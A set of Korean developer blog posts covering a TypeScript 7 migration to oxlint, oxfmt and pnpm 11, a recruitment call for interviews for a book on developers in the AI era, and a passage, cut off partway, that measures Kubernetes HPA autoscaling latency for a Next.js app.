typescript-eslint의 peer dependency 범위는 `<6.1.0`이고, [트래킹 이슈](https://github.com/typescript-eslint/typescript-eslint/issues/10940)를 보면 TS 7의 안정적인 외부 API가 7.1에 예정되어 있어 그전까지는 정식 지원이 어렵다는 사정이 보인다. typescript-eslint만이 아니다. ts-jest, ts-morph, Vue와 Svelte와 Astro의 타입체커까지, JS API 위에 서 있던 도구들이 전부 같은 줄에서 대기 중이다. 공식 우회는 `@typescript/typescript6`을 병행 설치해 lint만 TS 6로 돌리는 것인데, 마침 oxlint로 갈아탈 생각을 하던 참이라 이쪽을 우회 대신 선택했다. 여기서부터는 TS 7 마이그레이션이 아니라 툴체인 교체 이야기가 된다.

## eslint와 prettier를 내리고

[oxlint](https://oxc.rs)로 갈아타면서 걱정한 것은 속도가 아니라 커버리지였다. 기존에는 @naverpay/eslint-config가 typescript-eslint, react, jsx-a11y, import 계열을 묶어주고 있었고, 이걸 oxlint 플러그인 구성으로 다시 매핑했다. 다행히 oxlint가 기존 `eslint-disable` 주석을 그대로 해석해줘서, 수년치 주석을 한 줄도 고치지 않고 넘어왔다.

플러그인을 켜자 기존 eslint가 잡지 않던 지적이 84건 나왔다. 하나씩 보면서 "규칙이 틀렸다"와 "코드가 틀렸다"로 나누는 것이 이날 오후의 일이었다.

규칙 쪽으로 분류한 대표는 `react/react-in-jsx-scope`였다. 처음 켰을 때 무려 1,281건이 나와서 잠깐 놀랐는데, 내용을 보면 전부 "JSX를 쓰는 파일에 `import React from 'react'`가 없다"는 지적이었다. 이 규칙은 JSX가 `React.createElement` 호출로 컴파일되던 React 16 이전 시절의 유산이다. 그때는 JSX 파일마다 React가 스코프에 있어야 해서 import 누락이 곧 런타임 에러였지만, React 17부터는 자동 JSX 런타임(automatic JSX runtime)이 도입되어 컴파일러가 `react/jsx-runtime`의 함수를 알아서 import한다. Next.js도 당연히 이 방식을 쓰므로, React를 import하지 않은 JSX 파일은 문제가 아니라 오히려 권장 형태다. 다시 말해 1,281건 전부가 정상 코드에 대한 오탐이었고, 규칙을 끄는 것이 정답이었다. eslint 시절에는 프리셋(`react/jsx-runtime`)이 이 규칙을 알아서 꺼주고 있었는데, oxlint에서 플러그인을 직접 구성하면서 잠시 부활했던 것이다.

코드 쪽으로 분류한 대표는 jsx-a11y였다. `role="dialog"`를 붙인 div 모달들을 네이티브 `dialog` 요소로 바꿨는데, 미뤄온 세월이 무색하게 브라우저 기본 스타일을 리셋하는 CSS 한 블록이면 기존 모양이 그대로 유지됐다.

prettier 쪽은 허무할 정도였다.

```bash
oxfmt --migrate prettier
```

이 한 번으로 설정이 넘어왔고, 옮기지 못한 옵션은 `endOfLine: auto` 하나였다("is not supported, skipping"이라고 스스로 알려준다). 전체 673개 파일 중 재포맷된 것은 50개 남짓. 마크다운과 yaml까지 포맷 대상이라 prettier가 맡던 영역이 거의 그대로 넘어오고, `sortImports` 옵션이 eslint의 `import/order` 규칙까지 대체해줬다.

물론 공짜는 아니었다. 기존 config가 해주던 package.json 파일 lint는 oxlint 범위 밖이라 사라졌고, `react/jsx-sort-props`처럼 oxlint에 구현이 없는 규칙도 있었고, `typescript/no-unsafe-type-assertion`은 지적량이 감당이 안 돼 껐다. oxfmt가 아직 0.x 베타라는 점도 감안이 필요하다.

## 뜻밖의 수확: 1.9초짜리 타입 인식 린트

이날 가장 재미있었던 부분이다. oxlint의 기본 모드는 타입 정보를 아예 쓰지 않는다. 0.4초의 비결이 그것이고, 대신 `no-floating-promises` 같은 타입 기반 규칙은 못 돌린다. typescript-eslint를 버리며 잃은 것이 바로 이 typed linting인데, [tsgolint](https://github.com/oxc-project/tsgolint)가 이 자리를 메운다. typescript-go 위에 타입 기반 규칙을 구현한 프로젝트라, `oxlint --type-aware`로 붙이면 타입 인식 린트가 돌아온다.

그러니까 이런 아이러니가 된다. tsgolint는 TS 7의 컴파일러 위에 서 있어서, **typescript-eslint가 크래시하는 바로 그 TS 7 환경에서 타입 인식 린트가 전체 모노레포 기준 1.9초에 돈다.** TS 7 때문에 typed lint를 포기해야 했던 자리에서, TS 7 덕분에 더 빠른 typed lint를 얻었다.

켠 첫날 실제 버그도 나왔다. `no-base-to-string`이 sitemap에서 잡아낸 버그가 백미였다.

```diff
-    ...tags.map((tag) => ({
+    ...tags.map(({tag}) => ({
       url: `https://yceffort.kr/tags/${tag}`,
     })),
```

`tags`가 `{tag, count}` 객체 배열인데 구조 분해를 빼먹어서, sitemap의 모든 태그 URL이 `tags/[object Object]`로 생성되고 있었다. 중괄호 하나 차이로 몇 달간 검색 엔진에 깨진 URL을 제출해 온 SEO 버그이고, 타입은 전부 맞아서 tsc는 내내 조용했다. 비슷하게 `restrict-template-expressions`가 포스트 하단 이슈 링크에서 slug 배열이 쉼표로 이어진 채 문자열이 되던 것을 잡았고, fullscreen과 clipboard와 service worker 등록에서 `no-floating-promises` 7건이 나왔다. 전부 "타입은 맞는데 의도가 틀린" 코드였다는 점이 typed linting의 존재 이유를 다시 보여줬다.

## 숫자 정산

마이그레이션 이전 시점을 git worktree로 재현해서 같은 머신에서 전후를 쟀다.

> 측정 환경: 같은 Apple M 시리즈 맥, 콜드 캐시, 각 1회. eslint는 재실행도 5분을 넘겨 횟수를 늘리지 못했다. 결론은 전부 자릿수 차이에 기대고 있어 1회 측정으로도 판단은 달라지지 않는다고 본다.

| 항목      | 이전                    | 이후                           | 배율                  |
| --------- | ----------------------- | ------------------------------ | --------------------- |
| lint      | 752.4초 (eslint, typed) | 0.4초 / 1.9초 (`--type-aware`) | 약 1,880배 / 약 400배 |
| 포맷 체크 | 216.6초 (prettier)      | 2.9초 (oxfmt)                  | 약 75배               |
| 타입체크  | 4.2초 (tsc ×3)          | 1.1초 (네이티브 tsc ×3)        | 약 4배                |
| 콜드 빌드 | 43.0초                  | 43.4초                         | 동일                  |

표는 압승처럼 보이지만 줄마다 정직하게 읽을 필요가 있다. lint의 1,880배는 비교 축이 다른 숫자다. eslint 752초의 정체는 typed linting이 워크스페이스마다 TS 프로그램을 새로 빌드하는 비용이고, oxlint 0.4초는 타입을 아예 안 보는 모드다. 같은 일을 하는 비교는 타입 인식을 켠 1.9초 쪽이고, 그래도 400배쯤 된다. 타입체크 4배는 코드베이스가 작아 절대값이 무의미한 수준이다(1.1초의 대부분이 워크스페이스 세 개의 기동 비용). typescript-go가 내세우는 10배는 순수 체크 시간이 지배하는 큰 코드베이스의 수치다. 다만 깎아내리기만 할 숫자는 아니다. 기동 비용을 다 짊어지고도 1/4로 줄었다는 것은 그 자체로 좋은 수치이고, 순수 체크 시간의 비중이 큰 코드베이스일수록 이 배율은 10배 쪽에 가까워질 것이다.

## 그래서 빌드는 왜 안 빨라졌나

서두에서 던져둔 질문으로 돌아오면, 답은 빌드 시간의 구성에 있다. 이 저장소의 `next build` 43초는 Turbopack이 소스를 컴파일하는 시간과 400페이지 남짓을 정적 생성하는 시간이 대부분을 차지하고, 타입체크는 그 안에서 수 초짜리 구간이다. 컴파일러를 갈아치워서 빨라지는 것은 그 수 초뿐이니, 4.2초가 1.1초가 되어도 43초 전체에서는 오차 범위에 묻힌다.

조금 더 구조적으로 말하면, TS 7이 빨라지게 만드는 것과 `next build`가 시간을 쓰는 곳이 애초에 겹치지 않는다. TypeScript는 타입을 지우면 JS가 되는 언어라서, 빌드의 변환 작업은 오래전부터 타입을 무시하고 걷어내는 네이티브 도구(SWC, 지금은 Turbopack)가 해왔다. 빌드 경로에서 tsc가 맡은 일은 변환이 아니라 검사뿐이고, TS 7은 그 검사를 빠르게 한 것이다. 원래도 작던 조각을 아무리 줄여도 전체는 줄지 않는다.

반대로 말하면 이 결과는 이 저장소의 사정이기도 하다. 타입 연산이 무거워 타입체크가 빌드 시간을 지배하는 코드베이스라면 TS 7의 체감은 완전히 다를 것이다. TS 7에 빌드 시간 단축을 기대한다면, 지금 빌드에서 타입체크가 차지하는 비중부터 재보는 것이 순서라고 생각한다.

## 보너스 트랙: pnpm 11

계획에 없던 마지막 작업. pnpm을 11로 올리자 첫 실행부터 경고가 나왔다.

```text
The "pnpm" field in package.json is no longer read by pnpm
```

pnpm 11은 package.json의 `pnpm` 필드를 읽지 않아서 설정을 [pnpm-workspace.yaml](https://pnpm.io/pnpm-workspace_yaml)로 옮겨야 하고, `onlyBuiltDependencies`도 `allowBuilds`로 바뀌었다. 어차피 옮겨 적어야 해서, 이참에 그동안 보안 권고 때마다 하나씩 쌓은 overrides 30개를 전부 지우고 `pnpm audit`으로 재검증해 봤다. 부활한 것은 단 2개였다. 나머지 28개는 상위 패키지들이 그사이 취약 의존성을 올려서 이미 없어도 되는 좀비 pin이었다. overrides에는 만료일이 없으니 이렇게 쌓이는 모양이다. 하나씩 관리하기보다 주기적으로 전부 지우고 다시 심사하는 쪽이 나을 수 있겠다는 생각을 했다. 이 청소에 패치가 나오지 않던 image-size를 sharp로 교체한 것까지 더해, dependabot 경고는 13건에서 0건이 됐다.

덧붙이면 pnpm도 이 흐름의 다음 주자다. [pnpm 12](https://github.com/orgs/pnpm/discussions/11292)는 설치 엔진(패키지를 받아오고 링크하는 부분)을 Rust로 다시 쓴 버전으로 현재 알파 단계인데, CLI와 lockfile과 node_modules 구조는 그대로 두고 v11 대비 의도적인 breaking change 없이 엔진만 바꾸는 범위라고 한다. 컴파일러는 Go로(typescript-go), 린터와 포매터는 Rust로(oxc), 번들러는 이미 Rust로(Turbopack) 넘어갔고 패키지 매니저까지 합류하는 셈인데, 방향은 꽤 분명해 보인다. 브라우저에서 실행될 결과물만 JS로 내놓을 수 있다면, 그 결과물을 만드는 도구들까지 JS로 쓰여 있을 이유는 없다는 것이다. JS는 점점 도구의 언어가 아니라 산출물의 언어로 남고, 그 주변의 모든 것이 Rust와 Go로 넘어가고 있다. 이번에 겪었듯 기반 도구가 네이티브로 바뀌면 그 위의 도구들도 따라 움직일 수밖에 없으니, 이 흐름은 앞으로 가속화될지도 모르겠다.

## 하루를 마치며

TS 7 자체는 안전하다는 것이 하루를 보낸 소감이다. 코드 수정이 tsconfig 두 줄이었고, 컴파일러가 Go로 바뀌었다는 사실을 체감할 일 자체가 거의 없었다. 관건은 lint 파이프라인이다. typed linting에 깊이 의존하고 있다면 TS 7.1과 생태계를 기다리거나, `@typescript/typescript6`으로 lint만 TS 6에 남기거나, 이 글처럼 oxc 전환 비용을 내거나 셋 중 하나를 고르게 된다. 커스텀 eslint 규칙 자산이 많은 코드베이스라면 세 번째의 비용은 이 글보다 훨씬 클 것이다.

결국 빨라지는 것은 빌드가 아니라 개발 루프의 보조 도구들이다. 다만 12분짜리 lint가 2초가 되면 pre-commit에 걸 수 있는 것과 없는 것이 갈리니, 이 변화는 CI 요금을 아끼는 쪽보다는 워크플로우의 형태를 바꾸는 쪽에 가깝다고 느꼈다. 그리고 몇 달 묵은 `[object Object]` URL을 찾아준 것은 결국 새 도구가 아니라, 도구를 갈아엎는 김에 켜본 규칙 하나였다.

마지막으로 개인적인 수확을 하나 꼽자면, Rust를 공부할 명분이 더 생겼다는 것이다. 하루 사이에 린터와 포매터가 Rust가 됐고 패키지 매니저까지 뒤따르는 중이니, 이제 매일 쓰는 도구가 어떻게 움직이는지 알고 싶다면 그 언어를 피해 가기는 어려워 보인다.

---

Source: https://yceffort.kr/2026/08/who-learns-to-judge-interviews.md
Title: <em>책을 쓰고 있습니다</em>: AI 시대의 개발 이야기를 들려주실 분을 찾습니다
Description: AI가 코드를 쓰는 시대에 개발자의 하루가 어떻게 달라졌는지 듣고 있습니다. AI 덕분에 성장이 빨라진 분, 반대로 학습에 어려움을 느끼는 분, AI와 함께 커리어를 시작한 주니어 분의 이야기를 찾습니다. 인터뷰는 예외 없이 익명으로 처리합니다.
Date: 2026-08-10
Tags: ai, essay, interview

## Table of Contents

## 무엇을 하고 있나

책을 쓰고 있습니다. 기술서가 아니라, AI가 코드를 쓰는 시대에 개발자로 일한다는 것이 어떤 경험인지에 대한 에세이입니다. 현장에서 일하는 개발자들의 이야기를 듣기 위해 인터뷰에 응해주실 분들을 찾습니다.

묻는 내용은 일상적인 것들입니다. 요즘 하루가 어떻게 흘러가는지, 코드를 읽는 시간과 만드는(혹은 시키는) 시간의 비율이 어떻게 되는지, 최근에 막혔던 문제를 어떻게 풀었는지 같은 이야기입니다.

## 어떤 책인가

가제는 『남은 판단은 누가 배우는가』입니다. 설명을 늘어놓는 것보다 원고를 조금 보여드리는 편이 빠를 것 같습니다. 한 장의 도입부입니다.

> 같은 도구가 업계 전체에 깔렸다. (중략) 누구에게나 동일한 성능의 AI 모델이, 돈만 있다면 손에 들어오는 시대다. 그런데 누구의 손에서는 코드가 빨라지고, 누구의 손에서는 코드베이스가 조용히 무너진다.
>
> (중략) AI는 개발자의 실력을 만들지 않는다. 그저 이미 있던 것을 증폭할 뿐이다. 그리고 증폭은, 생각보다 공평한 단어가 아니다.

이 책은 "AI가 개발자를 대체하는가"를 묻지 않습니다. 같은 도구를 쥐고도 결과가 갈린다면 그 갈림은 어디서 오는지, 그리고 도구가 곱하는 것이 이미 있던 판단 기준이라면, 그 기준을 아직 갖추지 못한 사람은 이제 어디서 그것을 배우게 되는지를 묻습니다. 제목이 『남은 판단은 누가 배우는가』인 이유입니다. 그 답을 책상에서 지어내지 않으려고, 현장의 이야기를 모으고 있습니다.

두 가지를 미리 밝힙니다.

첫째, AI를 쓰지 말자는 책이 아닙니다. 저도 매일 코딩 에이전트와 함께 일하며 그것이 없던 시절로 돌아가지 못하는 몸이 되었습니다. 여는 글에 적어둔 대로, 이 책은 바깥에서 내려다보며 내리는 진단이 아니라 "그 마찰의 수혜자가 자기가 선 자리를 정확히 보려는 기록"에 가깝습니다. 도구를 비판하거나 "이렇게 합시다" 같은 처방을 내리는 것을 목적으로 하지 않습니다.

둘째, 결론을 정해두고 확인하는 인터뷰가 아닙니다. 책의 방향과 반대되는 이야기, 예를 들어 "AI 덕분에 더 빨리, 더 깊게 배웠다"는 이야기 또한 필요합니다.

## 이런 분들의 이야기를 듣고 싶습니다

- **AI 덕분에 성장이 빨라졌다고 느끼는 분.** 무엇을 다르게 하고 계신지 궁금합니다.
- **반대로, AI를 쓰면서 성장이나 학습에 어려움을 느끼는 분.** 막연한 느낌이어도 괜찮습니다.
- **AI와 함께 커리어를 시작한 주니어 분.**
- 반면 아무것도 바뀌지 않았다고 느끼는 분.
- AI 도입 이후 일하는 방식, 리뷰, 평가가 달라진 조직에 계신 분.
- 팀의 리뷰·온보딩·평가를 설계하는 리더분.

연차, 직군, 회사 규모에 제한을 두지 않습니다. 프론트엔드가 아니어도 됩니다.

## 인터뷰는 이렇게 진행됩니다

- 대면, 화상·통화, **이메일 문답** 중 편하신 방식으로 진행합니다. 만나서 하는 경우 1시간 내외입니다.
- 정확한 인용을 위해 **동의를 받은 뒤에만** 녹취하거나 실시간 메모를 남깁니다. 동의하지 않으시면 기록 방식을 따로 합의합니다.
- **예외 없이 익명으로 처리합니다.** 이름은 물론이고 회사와 시기를 특정할 수 있는 디테일까지 제거하거나 바꿉니다.
- 책에 실릴 수 있는 문장은 **사용 전에 본인에게 다시 확인**받습니다.
- **출판 전에 인터뷰 내용이 실린 부분을 보내드리고 검토를 요청드립니다.** 이 단계에서든 그 전에든, 언제든 인용 철회를 요청하실 수 있습니다.

## 연락 방법

[root@yceffort.kr](mailto:root@yceffort.kr)로 메일을 주시면 됩니다. 간단한 자기소개(연차, 직군, 어떤 환경에서 일하시는지)와 나누고 싶은 이야기를 한두 줄 적어주시면 됩니다.

몇 가지 미리 양해를 구합니다.

- 선착순이 아닙니다. 보내주신 내용을 보고, 이야기를 듣고 싶은 분께 개별적으로 연락드립니다. 신청해 주신 모든 분과 인터뷰를 진행하지 못할 수 있습니다.
- 모집은 **2026년 9월 30일까지**이며, 인원이 충분히 모였다고 판단되면 예고 없이 일찍 마감될 수 있습니다.
- 인터뷰에 참여해 주신 분께는 감사의 뜻으로 소정의 네이버페이 포인트를 드립니다.

---

Source: https://yceffort.kr/2026/08/k8s-for-frontend-5.md
Title: 오토스케일링은 자동이지만 <em>즉시가 아니다</em>: HPA의 시간을 구간별로 실측한 기록
Description: 트래픽을 12배로 올리고 새 파드가 첫 요청을 받기까지 31.5초. 그 31.5초의 내역서를 스톱워치로 뽑았다. 감지 창이 지배하는 구조, 배포 직후 5분 창에서 오토스케일러가 눈을 잃는 조건, 안정화 창의 계단, 메모리 HPA가 Node에서 불발되는 이유, KEDA의 선제 확장까지. 프론트엔드 개발자를 위한 쿠버네티스 시리즈의 다섯 번째 편이다.
Date: 2026-08-10
Tags: kubernetes, autoscaling, nextjs, nodejs, frontend
Series: 프론트엔드 개발자가 알아야 할 쿠버네티스

## Table of Contents

## 스파이크 알람과 31.5초

오전 트래픽이 몰리는 시간대의 그래프를 흉내 내서, 실험 클러스터의 요청률을 초당 10개에서 121개로 한 번에 올렸다. HPA(CPU 70% 목표)는 걸려 있었다. 그 순간부터 스톱워치로 잰 기록이 이렇다. HPA가 목표 초과를 알아채고 replicas를 고쳐 쓴 것이 22.5초 뒤, 새 파드 4개는 그 판단과 같은 초 안에 만들어졌고, Ready가 된 것이 22\~23초 뒤. 그리고 새 파드가 **첫 실제 요청을 받은 것은 31.5초 뒤**였다. 그 사이의 부하는 전부 기존 파드 3개가 버텼고, p95는 9ms에서 74ms까지 밀렸다가 확장이 끝나고서야 내려왔다.

[1편](/2026/08/k8s-for-frontend-1)에서 "스케일 아웃은 자동이지만 즉시는 아니다"라고 한 줄로 적고 지나갔는데, 이 글은 그 한 줄의 내역서다. 31.5초가 어떤 구간들로 이루어져 있는지, 각 구간은 줄일 수 있는 것인지 없는 것인지를 스톱워치로 분해한다. 그런데 미리 말해 두면, 이 온건한 그림이 이야기의 전부가 아니다. 부하를 더 올리자 오토스케일러가 아예 반응을 멈추는 구간이 나타났다. 처음에는 과부하가 오토스케일러의 눈을 가리는 악순환으로 보였는데, 부검해 보니 공범이 하나 더 있었다. 그 이야기는 후반부의 몫이다.

이 글은 "프론트엔드 개발자가 알아야 할 쿠버네티스" 시리즈의 다섯 번째 편이다. 용어가 낯설면 [1편의 개념 지도](/2026/08/k8s-for-frontend-1)를, 파드와 컨테이너는 [2편](/2026/08/k8s-for-frontend-2)을, 트래픽 경로와 conntrack은 [3편](/2026/08/k8s-for-frontend-3)을, 파드의 종료는 [4편](/2026/08/k8s-for-frontend-4)을 먼저 읽는 것을 권한다.

> 측정 환경: Apple M5 macOS 위의 colima VM(4 CPU/8GB), kind v0.32.0(kindest/node v1.36.1, Kubernetes v1.36.1), metrics-server(해상도 15초), 앱은 Next.js 16.2.12 standalone(node:24-slim, Node v24.19.0)으로 앞 편들과 같다. 실험용 Deployment는 [4편 최종 조립본](/2026/08/k8s-for-frontend-4)(preStop sleep 3초, 결원 없는 보폭, readiness 5초)을 계승하되 requests CPU 200m/limit 400m으로 줄였다. 물리 코어가 4개뿐인 단일 머신에서 "스케일 아웃이 실제로 지연을 회복시키는" 규모를 만들기 위한 값이다. HPA는 autoscaling/v2, CPU 70%, min 3/max 12. 부하는 클러스터 안 client 파드에서 개루프(고정 요청률)로 흘렸다. 폐루프(동시성 고정) 부하는 동시성 4만으로도 150rps가 나와 실험 전에 HPA를 깨워 버린다는 것을 사전 검증에서 배웠고, 응답이 늦어져도 유입률이 유지되는 개루프가 트래픽 스파이크의 실제 모형이기도 하다. KEDA는 v2.20.2, 이미지는 kind 네트워크에 붙인 로컬 레지스트리(registry:2)에서 받는다. HPA 컨트롤러 소스 인용은 kubernetes v1.36.1 태그 기준이다. 측정 스크립트와 raw 로그는 별도 보관했다.

## 오토스케일러는 15초짜리 루프다

구간을 분해하려면 먼저 루프의 생김새를 알아야 한다. HPA 컨트롤러는 15초마다 한 번씩 깨어나(기본값), 대상 파드들의 메트릭을 읽고, 공식 하나를 계산하고, 필요하면 Deployment의 replicas를 고쳐 쓴다. 공식은 이것이 전부다.

```text
desiredReplicas = ceil( currentReplicas × 현재 사용률 / 목표 사용률 )
```

파드 3개가 목표 70%의 두 배인 140%로 돌고 있다면 ceil(3 × 140/70) = 6개. 여기서 짚을 것이 셋 있다.

첫째, **분모의 "사용률"은 requests 기준이다.** [1편](/2026/08/k8s-for-frontend-1)에서 예고한 연결이 여기서 실측으로 확인되는데, limit이 아니라 requests 대비 비율이라서 이번 실험(requests 200m, limit 400m)의 파드는 사용률이 200%까지 올라갈 수 있다. requests가 실사용과 동떨어져 있으면 이 공식 전체가 어긋난다.

둘째, **읽는 메트릭에는 이미 두 레이어의 지연이 있다.** kubelet의 통계를 metrics-server가 15초 간격으로 수집(스크레이프)하고(이 클러스터의 `--metric-resolution=15s`), HPA가 그것을 다시 15초 간격으로 읽는다. 두 루프의 위상이 맞물리는 정도에 따라, 부하가 올라도 HPA가 그것을 "볼" 때까지 최대 30초 안팎이 걸린다. 스파이크가 스크레이프 직후에 시작되면 다음 스크레이프까지 15초를 기다리고, 그 값이 HPA의 다음 판단 주기에 걸리기까지 다시 최대 15초가 쌓이는 식이다. 뒤의 실측에서 이 감지 창이 전체 지연의 지배항으로 나온다.

셋째, **tolerance라는 무시 구간이 있다.** 현재/목표 비율이 1.0에서 ±0.1 안이면 HPA는 움직이지 않는다. 사용률이 70\~77% 사이를 오가는 동안 replicas가 출렁이지 않는 이유다. 흥미로운 것은 이 0.1이 오랫동안 클러스터 전역 설정이었는데, 이번 실험 클러스터(v1.36)에서는 HPA 오브젝트별로 `spec.behavior.scaleUp.tolerance`를 넣어 보니 그대로 수용되어 저장됐다. v1.33에서 알파로 들어온 [HPA별 tolerance](https://kubernetes.io/docs/tasks/run-application/horizontal-pod-autoscale/)가 기본 게이트로 살아 있다는 뜻이다. 직접 확인한 기록은 이렇다.

```text
$ kubectl patch hpa autoscale-lab --type=merge \
    -p '{"spec":{"behavior":{"scaleUp":{"tolerance":"0.2"}}}}'
horizontalpodautoscaler.autoscaling/autoscale-lab patched

$ kubectl get hpa autoscale-lab -o jsonpath='{.spec.behavior.scaleUp}'
{"policies":[{"periodSeconds":15,"type":"Pods","value":4},
 {"periodSeconds":15,"type":"Percent","value":100}],
 "selectPolicy":"Max","stabilizationWindowSeconds":0,"tolerance":"200m"}
```

거부 없이 저장됐다(0.2가 수량 표기 "200m"으로 적혀 있다). 이 덤프는 덤으로 다음 문단의 기본 확장 정책, "15초마다 4개 또는 100% 중 큰 쪽"의 원문이기도 하다.

그리고 계산 결과를 바로 적용하지 않고 한 번 거르는 **behavior**가 있다. 기본값 기준으로 확장은 15초마다 "4개 또는 현재의 100% 중 큰 쪽"까지, 축소는 지난 300초의 계산값 중 최댓값으로만(안정화 창) 움직인다. 확장은 빠르게, 축소는 신중하게라는 설계인데, 이 축소 쪽 장치는 뒤의 스케일 다운 절에서 실물로 본다.

여기까지가 루프의 전부다. 중요한 것은 HPA가 하는 일이 **replicas 숫자를 고쳐 쓰는 것까지**라는 사실이다. 파드를 실제로 띄우는 것은 [2편](/2026/08/k8s-for-frontend-2)에서 본 사슬(Deployment → ReplicaSet → 스케줄러 → kubelet)이고, 트래픽이 새 파드에 닿는 것은 [3편](/2026/08/k8s-for-frontend-3)의 세계(readiness → EndpointSlice → 각 노드의 규칙)다. 스파이크에서 첫 요청까지의 시간은 이 세 층의 합이다.

## 스톱워치 분해: 22.5초의 내역서

서두의 실측을 구간별로 편다. 조건은 이렇다. 베이스라인 초당 10요청이 흐르는 상태에서 T0에 초당 111요청을 더 얹었다(합계 121rps, 약 12배). 관측은 0.5초 간격 폴링과 파드 conditions의 타임스탬프, 그리고 응답에 실린 파드 이름을 썼다.

| 구간 (T0 = 스파이크 시작)                   | 시각 (실측)        | 소요       |
| ------------------------------------------- | ------------------ | ---------- |
| HPA가 사용률>70%를 처음 관찰, desired 3→7   | +22.5초            | **22.5초** |
| 새 파드 4개 생성(스케줄링 완료)             | +21\~22.5초 (동시) | 0초 안팎   |
| 새 파드 Ready (readiness 통과)              | +22\~23초          | **1\~2초** |
| 새 파드에 첫 실트래픽 도착 (가장 빠른 파드) | +31.5초            | +9초       |
| p95 회복 (74ms 피크 → 60ms 안정)            | +45초 안팎         | -          |
| 2차 확장 (desired 7→8, 파드 1개 추가)       | +51초              | -          |

파드 생성은 HPA가 replicas를 고쳐 쓴 결과라 감지보다 앞설 수 없는데, 기록상으로는 생성 시각이 +21초로 먼저 찍힌다. 파드 생성 시각은 초 단위로 잘리고 HPA 필드는 0.5초 폴링으로 읽어서 1초 안팎 늦게 보이는, 채널 사이의 반올림 차다. 실제 순서는 "desired 쓰기 → 같은 초 안에 파드 생성"이고, 표의 앞 두 줄은 HPA 이벤트 원문으로도 남아 있다.

```text
$ kubectl get events --field-selector involvedObject.kind=HorizontalPodAutoscaler ...
08:22:34  New size: 7; reason: cpu resource utilization (percentage of request) above target
08:23:04  New size: 8; reason: cpu resource utilization (percentage of request) above target
```

에러는 24,265요청 중 0개였고, p95는 베이스라인 9ms에서 첫 15초 동안 74ms까지 밀렸다가 60ms 선에서 안정됐다. 이 표에서 가져갈 것이 세 가지다.

첫째, **지배항은 감지다.** 전체 31.5초 중 22.5초가 "HPA가 알아채기까지"였다. 스크레이프 15초와 판단 15초가 겹친 위상차로, 이 구간은 운이 좋으면 15초 근처, 나쁘면 30초까지 벌어진다. 반면 파드 생성부터 Ready까지는 1\~2초에 끝났다. 이미지가 노드에 있고(프리로드) 앱이 가벼우면 기동은 병목이 아니다.

둘째, **Ready와 첫 트래픽은 다른 사건이다.** 신규 파드 다섯 개를 하나씩 추적하면 이 간극이 잘 보인다.

| 신규 파드 (T0 기준) | 생성  | Ready | 첫 실트래픽     |
| ------------------- | ----- | ----- | --------------- |
| 1호                 | +21초 | +23초 | **+31.5초**     |
| 2호                 | +21초 | +23초 | +58.2초         |
| 3호                 | +21초 | +22초 | +97.4초         |
| 4호                 | +21초 | +22초 | +168.9초        |
| 5호 (2차 확장)      | +51초 | +57초 | 관찰 창 내 없음 |

Ready는 1\~2초 만에 일제히 끝났는데, 첫 요청은 31초에서 169초까지 흩어졌고 하나는 끝내 일을 받지 못했다. [3편](/2026/08/k8s-for-frontend-3)에서 본 그대로다. 분배는 커넥션이 태어날 때 한 번뿐이라, keep-alive로 이미 맺어진 커넥션들은 기존 파드에 붙어 있고, 새 파드는 새 커넥션이 열릴 때만 일을 받는다. 실제로 스파이크 2분 뒤의 분포를 세어 보니 살아남은 기존 파드 3개가 트래픽의 54%를 쥐고 있었고, 가장 바쁜 파드와 가장 한가한 파드의 차이가 3.4배였다(1,940 대 577). 레플리카 수는 8개로 늘었는데 부하는 고르게 퍼지지 않는, 스케일 아웃과 로드밸런싱이 별개라는 증거다.

셋째, **그 사이를 버티는 것은 기존 파드다.** 22.5초의 감지 창 동안 기존 3개 파드가 12배 부하를 받아냈다. 이번에는 p95 74ms로 버텼지만, 버티지 못하면 어떻게 되는지가 뒤의 실명(失明, HPA가 판단 근거인 메트릭을 통째로 잃는 상태) 절이다. [사이징 글](/2026/08/nodejs-k8s-pod-sizing)이 minReplicas를 "스파이크 흡수 여력"으로 정하라고 한 이유가 이 창에 있다.

## 더 빨리 띄울 수 있는가: 세 가지 개입

내역서가 나왔으니 각 구간에 개입해 본다. 같은 스파이크를 조건만 바꿔 반복했다.

**개입 1: 미리 띄워 둔다 (minReplicas 6).** 스파이크 전부터 6개를 유지하니 확장 자체가 필요 없어졌고, desired는 T0 전에 이미 6이었다. 그런데 p95의 첫 15초는 75ms로, 3개에서 시작한 기본 실험(74ms)과 사실상 같았다. 이 규모의 스파이크는 3개로도 버틸 수 있었기 때문에, 미리 띄워 둔 여유가 지연 그래프에는 나타나지 않은 것이다. 미리 띄우기의 가치는 평시 지연이 아니라 **한계 상황의 여유**에 있고, 그 한계 상황은 실명 절에서 온다.

**개입 2: 한 번에 크게 띄운다 (behavior 튜닝).** scaleUp 정책을 "15초마다 4개"에서 "15초마다 12개까지"로 풀고 같은 스파이크를 반복했다. desired가 3에서 단번에 12로 뛸 것을 기대했는데, 실측은 계단이었다. 3→5(+22.6초)→7(+37.4초)→10(+82.5초)→12(+128초). behavior는 상한을 풀 뿐이고 매 주기의 desired는 여전히 공식이 정하기 때문이다. 첫 판단 시점에 관찰된 사용률이 101%였으니 ceil(3 × 101/70) = 5가 되고(기본 실험에서는 이 첫 관찰이 142%였다, 위상 운이다), 방금 뜬 파드는 메트릭이 아직 없어 계산 표본에 들어오지 못하니(이 규칙의 정체는 실명 절에서 소스로 확인한다) 다음 계단도 기존 표본 기준으로 한 단씩만 오른다. 실제로 두 번째 계단이 ceil(3 × 153/70) = 7로 정확히 맞아떨어진다. 결과적으로 Ready 6개 도달은 +43.9초로 기본(+23.5초)보다 오히려 늦었고, 파드들이 연달아 기동한 구간(+30\~45초)에서는 p95가 421ms로 튀었다. 물리 CPU가 4코어뿐인 환경이라 기동(Node 부팅, Next 초기화)이 서빙과 경합한 것인데, 노드가 넉넉한 실전 클러스터에서는 정도가 덜하겠지만 같은 노드에 몰려 뜨는 파드들 사이에서는 방향이 같은 이야기다. 정리하면 behavior 상한을 풀어도 공식과 새 파드의 메트릭 공백이 계단을 만들어 더 빨라지지 않았고, 기동 경합의 역효과만 관측됐다. **"더 빨리 더 많이"는 기동 비용이 공짜일 때만 공짜다.**

**개입 3: 이미지를 미리 두지 않는다 (콜드 노드).** 반대 방향의 개입도 재 봤다. 지금까지의 실험은 이미지가 모든 노드에 프리로드된 상태라 풀(pull) 구간이 0이었는데, 노드 하나에서 앱 이미지의 레이어를 전부 지우고 로컬 레지스트리에서 다시 받게 하면 이렇게 된다.

| 콜드 노드에서의 풀 (로컬 레지스트리) | 소요 시간  |
| ------------------------------------ | ---------- |
| standalone 이미지 (전송 69MB)        | **0.23초** |
| naive 이미지 (전송 590MB)            | **7.7초**  |

